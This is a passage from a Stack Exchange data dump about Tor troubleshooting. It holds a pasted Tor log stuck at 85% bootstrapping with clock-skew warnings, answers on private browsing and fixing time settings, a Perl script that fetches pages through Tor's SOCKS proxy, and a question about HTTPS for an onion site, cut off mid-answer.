to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:11 PM.400 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;8/5/2018 21:02:11 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:12 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:13 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:14 PM.700 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:19 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:20 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:21 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:22 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:23 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:24 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:25 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:26 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:27 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:28 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:29 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:30 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:31 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:32 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:33 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:34 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:35 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:36 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:37 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:38 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:39 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:40 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:41 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:42 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:43 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:44 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:45 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:46 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:47 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:48 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:49 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:50 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:51 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:52 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:53 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:54 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:02:55 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:03:21 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:03:22 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:03:23 PM.600 [WARN] Received NETINFO cell with skewed time (OR:194.109.206.212:443): It seems that our clock is ahead by 15 hours, 2 minutes, or that theirs is behind. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;8/5/2018 21:03:23 PM.600 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (Clock skew 54125 in NETINFO cell from OR; CLOCK_SKEW; count 2; recommendation warn; host 7EA6EAD6FD83083C538F44038BBFA077587DD755 at 194.109.206.212:443) &#xA;8/5/2018 21:03:23 PM.600 [WARN] 1 connections have failed: &#xA;8/5/2018 21:03:23 PM.600 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;8/5/2018 21:03:23 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 21:03:23 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 21:03:23 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 21:03:23 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;8/5/2018 21:01:57 PM.200 [NOTICE] Your system clock just jumped 122 seconds backward; assuming established circuits no longer work. &#xA;8/5/2018 21:01:59 PM.600 [NOTICE] Heartbeat: Tor's uptime is 0:16 hours, with 0 circuits open. I've sent 22 kB and received 602 kB. &#xA;8/5/2018 21:01:59 PM.600 [NOTICE] Average packaged cell fullness: 67.470%. TLS write overhead: 10% &#xA;8/5/2018 21:05:00 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 21:05:00 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 21:05:00 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 21:05:00 PM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 21:05:01 PM.100 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:02 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:03 PM.100 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:04 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:05 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:06 PM.100 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:07 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:08 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:09 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:10 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:11 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:12 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:13 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:14 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:15 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:16 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:17 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:18 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:19 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:20 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:21 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:22 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:23 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:05:24 PM.000 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:02 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:03 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:04 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:05 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:06 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:33 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:34 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:35 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:36 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:37 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:24:38 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:04 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:05 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:06 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:07 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:08 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:09 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:10 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:11 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:12 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:13 PM.500 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:14 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:15 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:16 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:17 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:18 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:19 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:20 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:21 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:22 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:23 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:24 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:25 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:26 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:27 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:28 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:29 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:30 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:31 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:32 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:33 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:34 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:35 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:36 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:37 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:38 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:39 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:25:40 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:06 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:07 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:08 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:09 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:10 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:11 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:12 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:13 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:14 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:15 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:16 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:17 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:18 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:19 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:20 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:21 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:22 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:23 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:24 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:25 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:26 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:27 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:28 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:29 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:30 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:31 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:32 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:33 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:34 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:35 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:36 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:37 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:38 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:39 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:40 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:41 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:26:42 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:08 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:09 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:10 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:11 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:12 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:13 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:14 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:15 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:16 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:17 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:18 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:19 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:20 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:21 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:22 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:23 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:24 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:25 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:26 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:27 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:28 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:29 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:30 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:31 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:32 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:27:33 PM.400 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit. &#xA;8/5/2018 21:29:16 PM.400 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (IOERROR; IOERROR; count 10; recommendation warn; host 175921396C7C426309AB03775A9930B6F611F794 at 178.62.60.37:443) &#xA;8/5/2018 21:29:16 PM.400 [WARN] 10 connections have failed: &#xA;8/5/2018 21:29:16 PM.400 [WARN]  7 connections died in state connect()ing with SSL state (No SSL object) &#xA;8/5/2018 21:29:16 PM.400 [WARN]  2 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;8/5/2018 21:29:16 PM.400 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;8/5/2018 21:29:16 PM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 21:29:16 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/5/2018 21:29:16 PM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;8/5/2018 21:29:17 PM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22716" LastEditorUserId="24966" LastEditDate="2020-05-09T23:38:05.490" LastActivityDate="2022-03-06T01:07:10.623" Title="Can't connect to Tor Network (Failed to find node for hop #1)" Tags="|configuration|bootstrapping|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17531" PostTypeId="2" ParentId="17522" CreationDate="2018-08-06T00:34:04.747" Score="0" Body="&lt;p&gt;As far as I understand, it is a feature of the &lt;a href=&quot;https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history&quot; rel=&quot;nofollow noreferrer&quot;&gt;private browsing&lt;/a&gt;. Tor Browser is based on Firefox. By default, private browsing is disabled in Firefox and enabled in Tor browser; in any of the two, you can change this setting if you want (Edit ⇨ Options ⇨ Privacy ⇨ Always use private browsing mode). If you decide to turn this setting off, get sure you know what is it.&lt;/p&gt;&#xA;" OwnerUserId="22402" LastActivityDate="2018-08-06T00:34:04.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17532" PostTypeId="2" ParentId="17509" CreationDate="2018-08-06T01:50:10.097" Score="0" Body="&lt;p&gt;LWP::UserAgent can it, if LWP::Protocol::socks and Tor are installed. &lt;a href=&quot;https://metacpan.org/pod/LWP::Protocol::socks&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;LWP::Protocol::socks&quot;&gt;LWP::Protocol::socks&lt;/a&gt; is available as &lt;em&gt;liblwp-protocol-socks-perl&lt;/em&gt; software package at least in the repositories of &lt;a href=&quot;https://packages.debian.org/search?searchon=names&amp;amp;keywords=liblwp-protocol-socks-perl&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debian&lt;/a&gt; and &lt;a href=&quot;https://packages.ubuntu.com/search?keywords=liblwp-protocol-socks-perl&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ubuntu&lt;/a&gt;; when LWP::Protocol::socks is already installed, you can forget its name and just call LWP::UserAgent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a similar question a week ago, and I written the script &lt;em&gt;testtor.perl&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl -w&#xA;&#xA;use strict;&#xA;use LWP::UserAgent;&#xA;&#xA;my $url;&#xA;if ($ARGV[0]) {&#xA; $url = $ARGV[0];&#xA;}&#xA;else {&#xA; exit;&#xA;}&#xA;&#xA;my $ua = new LWP::UserAgent(agent =&amp;gt; 'perl');&#xA;$ua -&amp;gt; proxy([qw(http https)] =&amp;gt; 'socks://127.0.0.1:9050');&#xA;my $response = $ua -&amp;gt; get($url);&#xA;my $page = $response -&amp;gt; decoded_content;&#xA;print &quot;$page\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is not a CGI script; so, it does not print HTTP headers. It is for calling it from another script or terminal. E.g., the line in terminal&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./testtor.perl https://www.iplocation.net/find-ip-address | lynx -stdin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will open in Lynx a page with an IP address of some Tor exit relay. And&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./testtor.perl http://podger42hd4zi2oc.onion/ | lynx -stdin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works, too.&lt;/p&gt;&#xA;" OwnerUserId="22402" LastEditorUserId="22402" LastEditDate="2018-08-06T12:23:46.507" LastActivityDate="2018-08-06T12:23:46.507" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="17547" PostTypeId="2" ParentId="15772" CreationDate="2018-08-09T12:26:22.157" Score="0" Body="&lt;p&gt;I use orbot and astrill vpn regularly but I don't use Firefox. Currently I am using Chrome Beta and I have no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember having such problems withy Firefox on my PC. Resolved by upgrading to the required version. Q: can you upgrade through Google Play? Google Play should discount the connection as it verifies through the phone. If it does not upgrade, then close orbot, upgrade and then restart orbot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check the useragent if you have one. Try and remember which status you had when you registered. If you can, good. If not try and change but I will limit changs to one a day as the system will log access attempts and basically suspend acess if too many attempts. So be careful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you install Chrome? If you can try to install Chrome Beta and see if it works.&lt;/p&gt;&#xA;" OwnerUserId="22744" LastActivityDate="2018-08-09T12:26:22.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17549" PostTypeId="2" ParentId="17529" CreationDate="2018-08-10T14:24:43.860" Score="0" Body="&lt;p&gt;This may or not may not work depending on the exact error.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update your countries Exact Time / Time Zone &amp;amp; Location settings. &lt;/li&gt;&#xA;&lt;li&gt;Restart&lt;/li&gt;&#xA;&lt;li&gt;Cool Beans, all should work ! &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22750" LastActivityDate="2018-08-10T14:24:43.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17552" PostTypeId="1" CreationDate="2018-08-11T01:02:48.297" Score="0" ViewCount="362" Body="&lt;p&gt;In researching how to do this I notice that I have to purchase an ssl certificate to get it to work. Is this the only way to do this? I am running the onion server from my home computer. It is not commercial in any way, mostly just a learning experience.. Given the nature of an onion site, it would just make sense to have it an encrypted page. Any help with the would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="22756" LastActivityDate="2022-03-24T18:06:35.623" Title="I have setup tor on Ubuntu 16.04 using Apache2 It works for an http site, but, I want to make it and https site." Tags="|onion-services|tor-install|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="17555" PostTypeId="1" CreationDate="2018-08-11T15:01:10.550" Score="2" ViewCount="391" Body="&lt;p&gt;Does Tor Browser allow non-Tor content (http/https) on .onion sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I visit somesite.onion and it has .css or .js or image with source from usual http/https site. Will it load it? Or visiting .onion site it allows only .onion content?&lt;/p&gt;&#xA;" OwnerUserId="22758" LastActivityDate="2018-10-12T10:00:06.093" Title="Does Tor Browser allow non-Tor content (http/https) on .onion sites?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17556" PostTypeId="2" ParentId="17552" CreationDate="2018-08-12T04:34:34.620" Score="0" Body="&lt;p&gt;Using Linux - Ubuntu 16.04 (OS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache2 (Web Server)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the answer I was looking for Here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-create-a-self-signed-ssl-certificate-for-apache-in-ubuntu-16-04&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-create-a-self-signed-ssl-certificate-for-apache-in-ubuntu-16-04&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the directions exactly and as I executed them I noted them to these instructions. It appears to be working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Create the Certificate&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/apache-selfsigned.key -out 